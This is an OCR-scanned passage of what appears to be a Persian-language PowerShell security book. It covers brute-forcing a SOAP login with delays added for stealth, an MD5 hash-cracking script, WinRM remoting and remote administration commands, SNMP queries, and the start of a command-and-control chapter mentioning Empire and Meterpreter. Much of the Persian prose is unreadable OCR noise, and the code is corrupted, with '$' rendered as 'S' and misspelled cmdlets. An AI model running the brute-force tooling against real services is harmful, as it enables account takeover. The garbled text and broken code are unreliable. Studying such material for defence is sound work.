SsoapEnvelope = @"<soapenv:Envelope xmlIns:soapenv="http://
schemas.xmlsoap.org/soap/envelope/" xmins:web="http://www.
snowcapcyber.com/webservice'">
<soapenv:Header/>
<soapenv:Body>
<web:Authenticate>
<web:Username>Susername</web:Username>
<web:Password>Spassword</web:Password>
</web:Authenticate>
</soapenv:Body>
</soapenv:Envelope>"@
# Perform the SOAP request
Sresponse = Invoke-WebRequest -Uri "https://api.example.com/
webservice" -Method Post -Body SsoapEnvelope -ContentType "text/xml"
# Check for a successful login
if (Sresponse.StatusCode -eq 200) {
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions based on a successful login
}else {
Write-Host "Login failed: Susername:Spassword"

}
}

Handling web service responses

29 G gy S et Brute Force (i3 jo conSi b coddpe (sl Sl |y Gmgrw 09 ozl

0518, ey 2B oo LES ) A aS 1) ols gl sloald b Consy slaaS Ygene

foreach (Susername in Susernames) {
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foreach (Spassword in Spasswords) {
# ... (previous code)

# Check for successful login

if (Sresponse.Status -eq "success") {
Write-Host "Login successful: Susername:Spassword"
# Perform additional actions

} else {
Write-Host "Login failed: Susername:Spassword"

}

Rate limiting and stealth
20 el 1 e 45 99,9 (Sl I oy

o w50 55 0 1) 258,90 (Jle (lgie @

SdelaySeconds = 2
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# do some stuff
Start-Sleep -Seconds SdelaySeconds

Logging and reporting
2l o PowerShell slace, Sl .asS s5le ool 1, logging Brute Force ale> mls oud (sl

1S S g Jelod g i sl ) L e Sledbl 38 52 5 (3350 Sla O (3350 sl S
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SlogFile = "snowcap_bruteforce_log.txt"
foreach (Susername in Susernames) {
foreach (Spassword in Spasswords) {
# Do Stuff
# Log the result of the login attempt
if (Sresponse.Status -eq "success") {

Write-Output "$((Get-Date).ToString('yyyy-MM-dd
HH:mm:ss')) - Successful login: Susername:Spassword" | Out-File
-Append -FilePath SlogFile

}else {

Write-Output "$((Get-Date).ToString('yyyy-MM-dd
HH:mm:ss')) - Failed login: Susername:Spassword" | Out-File -Append
-FilePath SlogFile

}
}

Adapting to web service specifics

g o3ls Godai A 9590 g ols Sl bl il S Sl g Zl o B 4 pazmie (g 09 8
P Slamde plo s las 4y Sowes, ooly 5 Cenlss 5 slacas 3 APl SLL Ll S yo Jolis go590 o
Handling CAPTCHA and multifactor authentication

solawl (MFA) _Lole wi> cugn 51> L CAPTCHA aile 8Lol sl Sloladl 51 gy g 0S5,

OSan s dSlae b (2 15 ol b slesl 0,55 Jlas o1 05050 ol sl con Sl i a0 o] j0 0S8 0
22l 5L 990 el iz 4 (Saem) Gln ol

Iterating and refining
a3 > 10 9 0uS Plol 1) 045 5 g, S Ll g 4525 | gl .l (6,1,55 0,8 G Brute Forcing
Cols, aaw 4 o, U1 Giolesl 5 ousS ot 0,65 5L (sl o 1) Con Sl oS 1S5 1) o1 Gialej]

A dalol (ol 5l cidy
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Brute Forcing a hash

Sleje, 4 basye ool o polie iS glp el Cas jo a5 sl 2SS Brute Forcing a Hash
S, mlg g ey S Sl slacu Ll L PowerShell sgs oo soliiwl sods jio sloosls L jgue
Brute !, 1, PowerShell ;| solainl Ss%> dasaly (pl 0,5 )18 oolatul 050 jekate (pl sl &lg o

DS o gy NS Dllaxdo § L SuST ( owlul eualas iigs (FOrcing a Hash

Understanding hash brute forcing

S R pazin 639,95 2 Slp 9 85 oo o L pSL Il Job b pleaid; 1) (639, slaosls o iy
Wbl ad )b S milg A Wleads b laisS e b e a5 Jlb 0 0iS o adgi 0,8 4 jase e S
ol 23w ol 0 Brute Force was jlis |, Lol (699,95 5,5 weSao |y o] olgs cos a5 ixo ol 4
33 Iy eate G o5 e b Sl il (sliassg g Soloton ales]

Setting up the environment

Sgden plol oo S Jasme G0 Siulesl asl 5l yluwbol Brute Forcing a Hash psls 51 L3
b 50 SHA-256 § MID5 auile cosliaiwl 0,90 (i w5651 550 10 Sledlbl ooyl 1 ogdle sl oyl
2gd 69) gex

Hash types and hashcat

Hashcat wsls o S5 sl lnl opsoel,lS )] (6 mmis coale JJo 4 cwl Sew PowerShell

Jo ol b oogh e sols w5 PowerShell a4 Clel a5 cusl o S5 Glp canss lpl S
Sas ) )| cdiind dgamme )15 sl Il aS Sleg Liw g 3g0] Blaal gl wlgs oo o 3910 POWerShell

sl

PowerShell script for hash brute forcing

Brute 5,55, S 5l b oS ol | Brute Forcing a Hash 1, PowerShell ool cos Sl G ol
Sl 5l eolazwl a8 ol asls ol 4y 0,8 pulgs oolaiwl Jlie pl )0 poeie ool lis sl adsl FOrce
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ShashToCrack = "5d41402abc4b2a76b9719d911017c592"
# Example MD5 hash ("hello")
Scharset = 1..26 + 65..90 + 97..122 # ASCII values for lowercase and
uppercase letters
function ConvertTo-String(Sarray) {
[System.Text.Encoding]::ASCIl.GetString(Sarray)
}
function Generate-BruteForceStrings {
param (
[int]Slength,
[int]Scharset
)
SbruteForceStrings = @()
ScharsetLength = Scharset.Length
1..Slength | ForEach-Object {
SbruteForceStrings += [char]Scharset[S_.GetHashCode() %
ScharsetLength]
}

return ConvertTo-String SbruteForceStrings
}
# Brute-force loop
for (Slength = 1; Slength -le 4; Slength++) {
SbruteForceString = Generate-BruteForceStrings -length Slength
-charset Scharset
ShashAttempt = [System.Security.Cryptography.
HashAlgorithm]::Create("MD5").ComputeHash([System.Text.
Encoding]::ASCIl.GetBytes(SbruteForceString))
if (ShashToCrack -eq (ShashAttempt | ForEach-Obiject {
S_.ToString("x2") } -join ")) {
Write-Host "Hash cracked! Plaintext: SbruteForceString"
break
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Write-Host "Brute-forcing completed."

Sy Ban e b o] sl e dslie 5 alizee sl Jsb b glaars, sbmgl b b oS so (3 o Sl oy
S ol hello s l,; 1, MD5 s

Customization for different hash algorithms

@ o Gada caline e slaei )65 sl 1) Cus Sl B asas uxs Create w0 1) e o0 ,65)
:0S ooliwl SHA-256 e sl SHA256 ;¢ Lo oylgie

ShashAttempt = [System.Security.Cryptography.
HashAlgorithm]::Create("SHA256").ComputeHash([System.Text.
Encoding]::ASCIl.GetBytes(SbruteForceString))

Salting

oy s bl ke S 5,5 i 5l B aS ol wries o Salting el il _adly slss slogy L
Lol cols (o S oo Salt sla ie Co paw g1y ol oo |, PowerShell slaco, Sl ogi oo adlol jaue
o oo il ez e BB sk 4]y (Samy gao9e 0y

Handling larger character sets and optimizing

DS Co poe el IS Brute Force sl 1) 655,50 sla SIS dcgome g oS aingo 1) S Sl b Lo
ol Copae ;0 GPU Acceleration I slaiiy g ool aige o5 s & aliw sba,lynl 4 Hashcat
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Summary
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Slp e 3055 65 b Slatus oS 5 sl PowerShell slac, Sl a5 ol il oS
g oo oolaiwl Cugn > ailg o Sl cans blai 0,8 Jlled]
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PowerShell and Remote Control and Administration — x203L Jasd

3310 pise shol (slas yslid 4y aalol ;5 .09 s ST 90 ol 5l e sl ol jo Bros S29lS b Juad
adgl Jgo! opols Lidg b .osS Jaie 093 490 o, Blaal a1y lnoe b ojle oo 406 |, PowerShell as
@ 590 ol 5l ands pais Copae gl A i b by, Caows 4w 4ol g POwerShell Remoting
2550 azalss s 4y 90 ol 1 58 (ziw el sl 6 lore sladie; 5658 S0 lesen y5bo
PowerShell sl esliiul a5 5510 5 oo doe sl po3 g (dos slo e &1l 4 Juad ol cdice; ol (o8 b
sl ol 4z aes o olis (b8l a1y Glakae o (o poe Blby 5l (eotte b Sl 0 )
ol sl e ol glacens g3 5 b bl e b g0 ofy cloarT s s oyl )90 ol (glagymile 1o &l ygiass
e sa |y 65900 Il I8 (805 iluesl sl 655,0 Slalee Lot 4 Jad

il n (o0 p) Dlegdge 4 Jad cnl yo

e Remote access and PowerShell
e PowerShell and remote administration
e Using PowerShell for Simple Network Management Protocol (SNMP)

Remote access and PowerShell

599 oly 5l s yws Jol a0 ;0 (WINRM) 59059 590 ol 5l Ca pie JSTg 5 000 co &3] 590005 slalae
alox 5| PowerShell g0 ol 51 J S calisee sldacs wa al> o 40 .08 o et |, PowerShell 4,

Slo pales =i 1y 590 ol 51 Ol jgiws slyal 5 ais Sy (g5l ol
Enabling PowerShell remoting

ol el Hla 590 o5 o PowerShell Remoting oo ,S° Jlad 90 ol 51 (o yiws 4o o5 sl
134 o0 oolazwl EnablePSRemoting ;i sk

Enable-PSRemoting -Force

PowerShell ol giws oo oo o3l>! ) 45 g 05 o (g0, oKiws 59, |, WINRM s g0

Spde |y j90 ol
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Configuring WinRM

2l oo WINRM wlenlass g0, S sl ol S HTTPS L HTTP JSS4 0 0 bLs | sl WINRM
WINRM (su 50 5l slaiges bl jo oS solawl PowerShell wlygiws L winrm jle,é s l5l 5
;2| Self-Signed Certificate L HTTPS ;! colau! (sl

Sthumbprint = (New-SelfSignedCertificate -DnsName localhost
-CertStorelocation Cert:\LocalMachine\My).Thumbprint

winrm create winrm/config/Listener?Address=*+Transport=HTTPS '@
{Hostname="localhost";CertificateThumbprint="Sthumbprint"}'

HTTPS ;o ools 355 sl |, WINRM 5 oS’ ol! Self-Signed Certificate < e Sl 5

Connecting to a remote machine

ol, PowerShell «.l> < EnterPSSession ;! colatul b oilg co o)l pae cgas, 9,5 Jbd 51

S Lg)"..)d‘o‘) 599
Enter-PSSession -ComputerName <RemoteComputer>

Sl gt U aas o o3l o 4 g 0uS co oloml ool aseie jg0 ol aly]) jo 1) Jolad dud> G jgiws oyl
)l iz olSiwd ol jo (So5d D jgo a4 065 &5 ALS |2l 65k |,

Executing commands on remote machines

ol 0 s Jle S oo mal)d 590 ol slagile jo &l jgiws sl>l slp |, Invoke-Command « sl

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock {
Get-Process }
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Remoting with credentials

2ly3 o PowerShell Remoting sl solarwl b 490 ol opiile G ,o PowerShell ail> G sl sl
S solawl New-PSSession

SRemoteComputer = "powershell.snowcapcyber.com"
# Create a new PowerShell session on the remote machine
Ssession = New-PSSession -ComputerName SremoteComputer
# Now, you can run commands on the remote machine
Invoke-Command -Session Ssession -ScriptBlock {

# Your PowerShell commands go here

Get-Process

}

Remove-PSSession -Session Ssession

WS a8 p 9l 4 e Jle sl

Jate o] @ sulys o a5 (5,90 ol oKws Bly IP oy0T b L b L |, RemoteComputer o
DS ol el

i 5o 1y ol g auS e sl yg0 oy slBws (g4, |, POowerShell aul> <, New-PSSession e
S e 0,30 SSESSION

PowerShell «ljgins was ol and> 5l soliwl L b ans oo ojl>! Lt & Invoke-Command e
loais 1,38 51 g 03550 ol 50 0S| 490 ol ) slBws (59, |, (-SCHPBlOCK ol )l j0 oo aseine)
Db oo 2b3L Get-Process ;l eslazwl b 1,

Sgd oo ooliwl 490 o, oKiws ;o PowerShell aul> s s, Remove-PSSession wolys ;o @

Sl g ams o Hlas Hgo ol crile SO (59, » |, PowerShell aul> Gl eolaiwl 5 ol Jgo! Jlio o

S oo wolp Jad piy 590 ol 5l o poe slo ) ol

Configuring trusted hosts
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Set-Item wsman:\localhost\Client\TrustedHosts -Value <RemoteComputer>
-Force

Session configuration

S olml (Jlie Glaie 4 - 0,5 b)law § 590,50 e slasls sl olg oo |, PowerShell ol

el P SHge 6&‘0 >

Ssession = New-PSSession -ComputerName <RemoteComputer>
Invoke-Command -Session Ssession -ScriptBlock { Get-Process }

Sgd oo odlitul T 5l 590 oy oKiws o yle 3 o sl (sl g 0 sl dd> SO Lxsl o
Parallel remoting

L -ThrottleLimit jwl)b 5l oolatwl b g0 of) pble cpaiz o &l ygiws 5l50 1> 51 PowerShell

QS oo Sleay Invoke-Command

Scomputers = "<RemoteComputerl>", "<RemoteComputer2>",
"<RemoteComputer3>"

Invoke-Command -ComputerName Scomputers -ScriptBlock { Get-Process }
-ThrottleLimit 3

QS oo b5l Gleyed yob ds 90 ofy ile a1y AT 8 Sledbl Hgiws

b oo oo |y 5l (ol o 4 WINRM 5, 5 PowerShell g0 ol 51 oo s slacabld ass o
bl WINRM (g0 S0 b asilsioe lpe 08 5055 5 Cu e 50 j5b 4 joang aSed o |, canlls
a> LS, ,4b 4 Enter-PSSession 4 Invoke-Command sl ole cmdlet 5l solavs! § olud>

Ogmlegil 9 498 ol 31 Cu e (gl p aied 08 (s 10l 4 |, PowerShell § oS o pas 1) 490 of, slapiile
QS ol jeaing slelae o

PowerShell and remote administration

5 oy §lp (6aiei ;08 ol (el Al drwg Cdlus,Sole laws a5 PowerShell
iz sloacs b dosaly cpl jo a2 o &1L, WINRM ISSg, 5,k 51 590 ol 5l Co poe
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90 oly lagile jo Olygiws sl 0 ol Blad> sloyl aile 490 ol 51 owyiws 51, PowerShell
490 ol 5l S e g s Sl gl xie 5l solawl (g3lge 590 ol I S o) e o, o i
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Establishing remote sessions

2y el wlud> Enter-PSSession ;l eolatw! b b aes oo o5l o)l 500 4 PowerShell Remoting

aisS oloul g0 ol slapile (59,

Enter-PSSession -ComputerName <RemoteComputer>
Szl ly az )by bapme Sy g 00503 Sl ouds Gasuiie y90 ol albly o 1) el andr S j5ies ol
S e ml 8 mlie Co e 5 Ol gt
Executing commands on remote machines

el Jlio SO L] 5o el pgo jlann H90 ol slo iile jo Olygws >t gl INnVoke-Command

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock {
Get-Service -Name Spooler }

Qa3 o 0 ol oKws yo |, PowerShell o5 51 Sol sl > o511 ScriptBlock

Remote variable usage

QS oo slastiy 90 ol lud> o la s 5l eoliiwl 5| PowerShell Remoting

SremoteVar = "Hello from remote"
Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { WriteHost
Susing:remoteVar }

e g 08 0310 plais] e ad> j0 Jlaie S (SremoteVar) yuce S a o Jle ol 4o
o s e 4 gl | (6l Susing: aels souas JedS 09 oo ool 15l 598 oy ands> o

! 4o )L..w.g 99 o‘) Ao S5 o
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Remote script execution

Invoke- L -FilePath jal,l 5l eoliiwl b 90 of, slagile jo 1) baew Sl JS !> PowerShell
&S o Js Command

Invoke-Command -ComputerName <RemoteComputer> -FilePath C:\Scripts\
RemoteScript.psl

o3l ol pae a5 5 0uS o >l j90 oy olKiws yo |, (RemoteScript.psl) ouds ascice Cou Sl jgiws ()

R R L I P A PV S S LR FAR T
Handling background jobs
QS oo ool 3 1) lygtis (5lse g Lo el sl el 5 00ges Sty die; s sla,S 5l POwerShell

SscriptBlock = {
Get-Process
Start-Sleep -Seconds 5
Get-Service

}

Sjob = Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock
SscriptBlock -AsJob
Receive-Job -Job Sjob

Oyl Ojygods bl g oal [zl a0 of ) pile ;o diej o 5 <SG Glgie 4y con Sl Soby ( Jlo ol jo
g oo 23k
Parallel remoting

Sl ygiwd (5590 1>l sl Invoke-Command L -ThrottleLimit .l )b 5l oslaes! L PowerShell

QS o ool )90 ol ) dle o ol
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Scomputers = "<RemoteComputerl>", "<RemoteComputer2>",
"<RemoteComputer3>"

Invoke-Command -ComputerName Scomputers -ScriptBlock { Get-Process }
-ThrottleLimit 3

iz Copde 3 1) LS 5 aiS e Dbk Gloyes jsbo 4 590 o) crdle a1 an T8 ledll g oy
Remote registry manipulation

5 Jlie el o .0sS solaiwl y59 ol 5l 5900s (8 s, (5, sl PowerShell 5laslg oo oyl pae

el 00l 00)91)30 o‘) oli"m:og_ii)o LS)"‘"‘“"’)“\'“K)“-"-’

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock {
Set-ltemProperty -Path "HKLM:\Software\Example" -Name "Setting"
-Value "NewValue"

}

plsl Sllgs 5 S o 3, 4 0als astine 490 ol albly jo a5 |, Setting (s s, oS Jlade jgiws ol
A2 o b g9 ol Sl g S Dl

Remote event log retrieval

STy 5l slaiges el jo .l JFga 490 ofy slapile I EVENt LOG slasog,9 2b L 5!, POwerShell

G W 00)91 99 o|) k}"""”L" &_ia )| Ottt ).a.‘>‘ 6&0‘-.\.’5)

Get-WinEvent -ComputerName <RemoteComputer> -LogName System -
MaxEvents 10

g ».\.S‘SA ‘5.’[.3‘)[.’ ol ua.’}r.o.fm)sa o|) ol 30 W u)‘».\.ij) L)"')‘)f )‘ ‘) ).a.’>‘ 599,39 \e )93...00 LJ"‘
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Remote service management

5 Jlie el j0 0isS Co o 90 oy slaile (o 1) b gy b aas o ojl> 100 4 PowerShell

1] 00U 00)51 )99 o‘) )‘ 9 kS.z ;935.’

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock {
StopService -Name <ServiceName> }

)99 o‘))‘ ‘50).»5\.0 LQLQ)L( ﬁl?u‘ db‘ys AJS‘SQ ;933...4) )99 o\) olKwo 5o |) ol UaM 9 )5:.“’.) LJ"‘

Remote software installation

3,5 solaiwl H95 ofy 5l pudile paiz (59, 138l e ceas sl o)l oo POwerShell ;|

Scomputers = "<RemoteComputerl>", "<RemoteComputer2>",
"<RemoteComputer3>"
SsoftwarePath = "\\FileServer\Software\InstallScript.ps1"
Invoke-Command -ComputerName Scomputers -ScriptBlock {
param(Spath)
Invoke-Expression (Get-Content Spath -Raw)
} -ArgumentList SsoftwarePath

sob 4 5 00gal cual jo e BB G o &Bly Con Sl SOl eslatll LTy (6058l 5 ecan Sl (Ui (ol o
Dedsa Lzl y9 ol ) (rdile (paiz (55; leje
Remoting to Azure virtual machines

QS oo p2ly8 50 1) Azure (VMS) il slagpisls 40 Jlasl o Sel PowerShell Remoting
Scred = Get-Credential
Enter-PSSession -HostName "<AzureVMName>.cloudapp.net" -Credential

Scred -UseSSL

Azure sl ile slp 1y cpel H90 ol 5l and> SO o Sl ol conls aseiee jLiel 5l oslawl b
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Remote network configuration

3,5 eolatwl 50 of ) slacyile jo At Slenlats (500,50 sl o)l oo POwerShell ;|

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock {
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress
"192.168.1.100" -PrefixLength 24

}

S oo (G S ol astiee 90 of y albly o sl bl o | wsus [P ool S jgiws oyl
Remote user management
Sl 5l Jlie el j0 .0S Co e 490 ol slacrile jo 1y )5 B s e o5l o)l 0w 4 PowerShell

1wl 00 00,91 ,g0 ol 5l das IS S

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock {
New-LocalUser -Name "NewUser" -Password (ConvertTo-SecureString
"Password123" -AsPlainText) -FullName "New User"

}

S oo 0l eald (adeie 40 of ) oSlws Ho Wax e (6,5 Clus S jaiws

Security considerations

Ll oo Hlonn Gl 28,5, o PowerShell i eslaisl b laile a5 590 ol 51 o yiws oK

3l oslicil Lol ol S o2l 0,15 3535 camslin J37e g Cagh o] (clopmilSe 45 0uiS ol el
il el o USg,s il s HTTPS (ol glaasl Luel

Remote file copy

3,5 soliiwl 490 ol slapile yo b b S sl ol o PowerShell |
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SsourcePath = "C:\LocalPath\File.txt"
SdestinationPath = "\\RemoteComputer\CS\RemotePath"
Copy-Iltem -Path SsourcePath -Destination SdestinationPath

S oo (5 590 ol dile SO (dove bl I (BB G jgws ol

5 Invoke-Command il sl cmdlet I solatwl L oS [Sogs 3 Copoe Fge j5b
ool 1) 095 |15 50,5 0ilgs oo olpde «53lge 590 ol 9 die) o slo,lS L ol e (ENterPSSession

osS Laas ‘) oD 59 6Ler' “ J)A..Ss oo;
Using PowerShell for SNMP

oolizwl SNMP 5, 5l i SO Co o sl wilgs o POWerShell (s & axwg 5 63y Gusdas b
J.AL:.: 05.76 (GO LQLQU""’U 59 el Ai..w BY) s_))UaJ 9 Co e 6‘)" o).,)lS).’ JSSg).s g.i.’ SNMP 09.».:
0)5 M‘? s ‘) 45..\.,..) ‘_glibolium) w).:J.A 9 SleMb! (5’1")[" Ls‘)" SNMP l.’ PowerShe”

SNMP module installation

SNMP Lalise slo Jg5le .ol 5590 SNMP g5l & cuas PowerShell ;s SNMP L Joles 51 L3
5hoolaial b1y ol ol oo .cuwsl SNMPHelper Jgsbo g sloand 51 (S g diied o ws o
0S5 —was PowerShell Gallery

Install-Module -Name SNMPHelper -Force -AllowClobber

SNMP agent query

3 (e 30, 2sle) SNMP Community String (o [P s )01 SNMP Agent G cwlgs o sl
SNMP sleosls aas oo oSel Leis s SNMHelper Jg5k ;| Get-SNMP .ouS asein |, SNMP aseus
WS bk |,
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Import-Module SNMPHelper
Get-SNMP -HostName <TargetIPAddress> -Community <CommunityString>
-Version 2 -0id "1.3.6.1.2.1.1.1"

Oloensgh) SYSDESCI 049 a5 o SleMbl (gl 00 jasine IP u,;)oT 4,9 SNMP Agent ;I Jte !
QS oo Jlo,l canlgs o Object Identifier (OID) (s

SNMP walking
o&ws ;o SNMP Ll IS 5,k 5l jews ol .cunl aae SNMP Agent G o 59250 Sledlol plos
iledon b ) Sldbl 5l (amg cinls 9 WS (o0 j9ee 00l auice
# Walk the SNMP tree to get information about the target device
Get-SNMP -HostName <TargetIPAddress> -Community <CommunityString>
-Version 2 -0id "1.3.6.1.2.1"
SNMP settings

4Set-SNMP 555 oolawl SNMP gl jls oKis o Olapdas s gl Wilgs oo (ruizos SNMP
sysContact ¢l 1, suaz Jlade Jlo cpl oS eulas o> s OID slp ) s polie s co Sl Lo
s oo Lz |, SNMP Agent ules Sledbl Ysons 45 08 oo aulas OID

# Set a new value for the sysContact OID

Set-SNMP -HostName <TargetIPAddress> -Community <CommunityString>
-Version 2 -0id "1.3.6.1.2.1.1.4.0" -ValueType OctetString -Value "New
Contact Information"

SNMP trap handling

g oS siwe Sloypesl slasly a5 S copow |, SNMP Trap uilgs o oien PowerShell
S wllas ol slaslays, 511, Cu e i B Wigd oo JLo,l SNMP sl Agent
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# Register an SNMP trap handler
Register-SNMPtrap -Handler {
param(Strap)
Write-Host "Received SNMP Trap: S(Strap.GenericMessage)" }
# Wait for traps
Start-Sleep -Seconds 60

sl Trap b wle co Haie asli £+ Goe 4 Con Sl g Cwl sals <od Trap Handler G« Jle ol 5o
slo Trap Lolul 1) ools Sleladl b oS 5 liw | oasS S ailss oo S cdly,s |, SNMP

2o plel 28 o
SNMP bulk requests
o,5 oolaw! P90 )5& 4@ osls )‘ LSQL.’.} > 6_,1.»)[; 6‘)‘.’ u‘ﬁ‘«_s'“ SNMP o%.?‘ 61'““:"“"9")0 )|

# Perform a bulk SNMP request to get system information
Get-SNMP -HostName <TargetIPAddress> -Community <CommunityString>
-Version 2 -0id "1.3.6.1.2.1.1" -Bulk

WS o 00l s Sl (gl 09l SNMP celgm s S bl gl -Bulk jzal )l 51 Jlio oy

Aied ponel )5 alfas wledbl obib gl sgl slaclys o
SNMP monitoring with PowerShell

Slaiges Lrl 10 0,5 soliwl SNMP sgloe o)l gl slaces Sl sl 51, ol o POwerShell ;|
el 00l 03,91 oy Jab ;0 CPU 5l solain! » o)l )

# Monitor CPU usage using SNMP

while (Strue) {

ScpuUsage = Get-SNMP -HostName <TargetIPAddress> -Community
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.25.3.3.1.2.196608"
-ErrorAction SilentlyContinue

Write-Host "CPU Usage: S(ScpuUsage.Value)"
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Start-Sleep -Seconds 60
}

ol | mls 5 oS e b plate jsb a4 SNMP Sl oslial b 1, CPU 1 sslitl @ledlbl cos Sl !
.A.LQ\)GA
SNMP and PowerShell integration

|y piaam gl G pae B 0,5 sleol PowerShell slo 5459 § b Jgsle plo b ol o |, POwerShell
Common Information Model slag> g wp UL SNMP oS5 5l sliges bxol o aas &)

il o0 03,51 (CIM)/Windows Management Instrumentation (WMI)

# Get SNMP and CIM-based system information

Ssnmplnfo = Get-SNMP -HostName <TargetIPAddress> -Community
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.1"

ScimInfo = Get-Cimlnstance -ComputerName <TargetIPAddress> -ClassName
Win32_ OperatingSystem

# Display combined information

Write-Host "SNMP System Name: S(Ssnmplinfo.Value)"

Write-Host "CIM OS Version: $(ScimInfo.Version)"

SNMP and graphical interfaces
5l liges il jo 0,5 pleol SNMP wid iy o poe gl (SU81S sladal, b ols5 o |, PowerShell

il 00 08,5 0ol SNMP Manager <G sl! sl (WinForms) 5aig slep 8 5l oola!

# Load Windows Forms assembly
Add-Type -AssemblyName System.Windows.Forms
# Create a simple SNMP manager form
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Sform = New-Object System.Windows.Forms.Form
Sform.Text = "SNMP Manager"
Sbutton = New-Object System.Windows.Forms.Button
Sbutton.Text = "Get System Info"
Sbutton.Add_Click({
Ssnmplnfo = Get-SNMP -HostName <TargetIPAddress> -Community
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.1"
[System.Windows.Forms.MessageBox]::Show("System Name: $(Ssnmplnfo.
Value)", "SNMP Result")

)
Sform.Controls.Add(Sbutton)

Sform.ShowDialog()

S oo 0wl SNMP s Sledlbl b 5L sl slaaS's b ool WinFOrms aal, 6 Jlo oyl

SNMP and logging

3,5 eoliiwl ¢l T bl g 4525 Blaal sl SNMP slaesls wos 6l 55 o POwerShell

# Log SNMP system information to a file

Ssnmplnfo = Get-SNMP -HostName <TargetIPAddress> -Community
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.1"

Stimestamp = Get-Date -Format "yyyyMMdd-HHmmss"

Ssnmplnfo | Out-File -Append -FilePath "SNMP_Log_Stimestamp.txt"

Timestamp <G alex 5l 5,155 b o aly T i oo ob3b 1, SNMP s aledbl cog Sl
Copde &lp pdy Bllasl 5 aies 08 poail, o PowerShell s jo aiS o 8Ll 53459 2 slp
|, SleMbl asilgs o ol comnlio slo cmdlet o b Jgile b .0iS o oal,8 |, SNMP 55 b 5l b
Solliws ol ke o pde by g S Copae |y laTrap was odas | b gun S s Jbjb

Qaes plsl SNMP ol s

Summary

soliiwl aleax 5l PowerShell jg0 of) 51 S o Shae 0956 S0 0 (28 Slo s e 0 Juad
sls New-PSSession 4 Invoke-Command .Enter-PSSession sl ole cmdlet ;|

5| oadaisgal law,o b oS @l ) PowerShell b T slesl g SNMP 1 i jo Syo fpien
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!y DSC L Desired State Configuration L |, PowerShell ;s of, 51 08 ol oo ¢ Jad oyl
3l OMSie aiile g0 ol yo ol OMSUe > 5 ololis ( obcas 5 Gudle (paiz (0 (Gui, S0 Cupde
Ao pleil g o slallas g aSiis 4 Jlas! OMSLie o gn

L Management Information Bases ,lsls w,y ol SNMP Sl (55, p (rized Jad oyl
GETNEXT GET ol SNMP cllee (MIB slaosls yislows 5 puunds 0955 3 OID sl yo alidss (MIB
] oo; )5).0.’ l—“u] )‘ oolazw! 0970 g TRAP 9 SET
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Command and Control - w25;3l98 Juasd

sl by Siw 4 PowerShell & us 5l soliiul sl coel Joos Jo o Wil jlaileis o
Sloslainl ple g yip 4y Jad pl o 28l slos lags liw [1,ST JLos a4y a8 cuwl oals baws o] ,534%
aiw; ,o |, PowerShell sosy jlail gis Jad ol 55l 5 oo 355 cans Job 40 C2 51, PowerShell

Aoyl g 0ilgs oo o 53585 Cans oS |, alise slo by, Juad cpl 5,5 oslarw! Post-Exploitation
GBS 2 b asb S L3l glaces Sl o laemdlet 5 solinul | wiS alis 1) wzlps glacsast
LQW G)KLZMQ ‘Q\)}‘;.m.) 6‘)—?‘ Lgl.ﬁbufw B ‘) Lo ulo.c 6L®JL~O ...\.JSGA )Li....:] ‘°‘-\-.¢-7.,L.¢-.f. LS}L”WW

2,5 wislgs oleal, a5l 18

ol sl PowerShell ;1 Jls soliiw! 550 j0 olo s (S oo yiw Jad ol ;0 a5 jghailen
ol g Sl pto jlnn (b B0 Cagii 10 yedd sBaus S0 05l wles cuss 4 clis slasl il
2 e C2 gl jlulei 0 dsi8 Cud Job j0 b oS o joome ol 4 1) el laaste Juad

QS oS > PowerShell

il odal fad opl jo R Oy90 ‘_;.»a‘ Slegoge pj 40

e Post-exploitation, C2, and the cyber kill chain
e PowerShell components used for C2

e Using Empire for C2

e Using Meterpreter and PowerShell for C2

Post-exploitation, C2, and the cyber kill chain

o2 b o] aee gymle cosal o swlsl welae Cyber Kill Chain 4 C2 Post-Exploitation
POSt- 05 oo SaS 5 male luags (2alS 5 (2555l « S0 0 Lol 4y o wims o S35 1) 097l
cigm yisd 33 Vb gy Lada> laxlpe Bua &S Sl> el adgl aE 5l . al> . (Exploitation
o) il sas Compromise s i S o Lateral Movement 5 oledbol 6,51 aox

S SuSS jl eslaul 5 jlael &8, ‘LQ’QSJ?.‘L;%".‘:“’] Sl slo oy daylidlay il Jold al> e

ol glols 5l 1,8 6l Living-Off-the-Land
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(bl )l sl g, o Command Server Lols pl .S Co paw 90 ol 5l 1, sas Compromise
DGA L, Domain Generation Algorithms ;| L=l .cwsl Payload Delivery 4 135 5%,
3o slalase p JpuS Laas g obl glp oo 5 355, wlbls,l 3 Fast Flux Staged Payloads

DS e oolaiwl sas COmpromise

@ ol b ololis 5l s mle dos SO ol 0 a5 a0 0 @3l 5551wl Jow S Cyber Kill Chain
Delivery Weaponization Reconnaissance Joli J>lpo 05 o gasiin |, ozl Sloal
4 Cyber Kill Chain ,s .l Actions on Objectives 4 C2 Jnstallation Exploitation
Gl Olaags 4 gl 5 ololid 6 pKiy 6l |, dedan ool po o 10 b oS o S bagylojlus
loosls (551 goz o yiws 53 YL (5 )l sl b lagylesl POSt-Exploitation jo .ases aswgs
el gol s g olaie alog 598 SLL alais cbila> fols laglés oS 35 o5 Lateral Movement
3 5l ookl g Sgole e 1) ol o bl GlaJUS 50,5 Sgaue 5 plulid o3l C2 glis
dol> as 23Sy 63, asb g )5 o59el Threat Intelligence sl a4l L Ki Sloladl el ” 6,135 5,
ol 3o b1y 093 (6ol ol Cumdg 0iilgs o b ylo sl aiied poe ,Lws Cyber Kill Chain o
«$9led sladoly 5l oS 5 el opl oS cogas Cyber Kill Chain 4 C2 (Post-Exploitation 4,
sl als 5 b5e Colan glp oad (i g9t dol> 4 STy 5l ] S g il Ky Sleladl

el 6yl Slagagd 51 G50 ez

PowerShell components used for C2

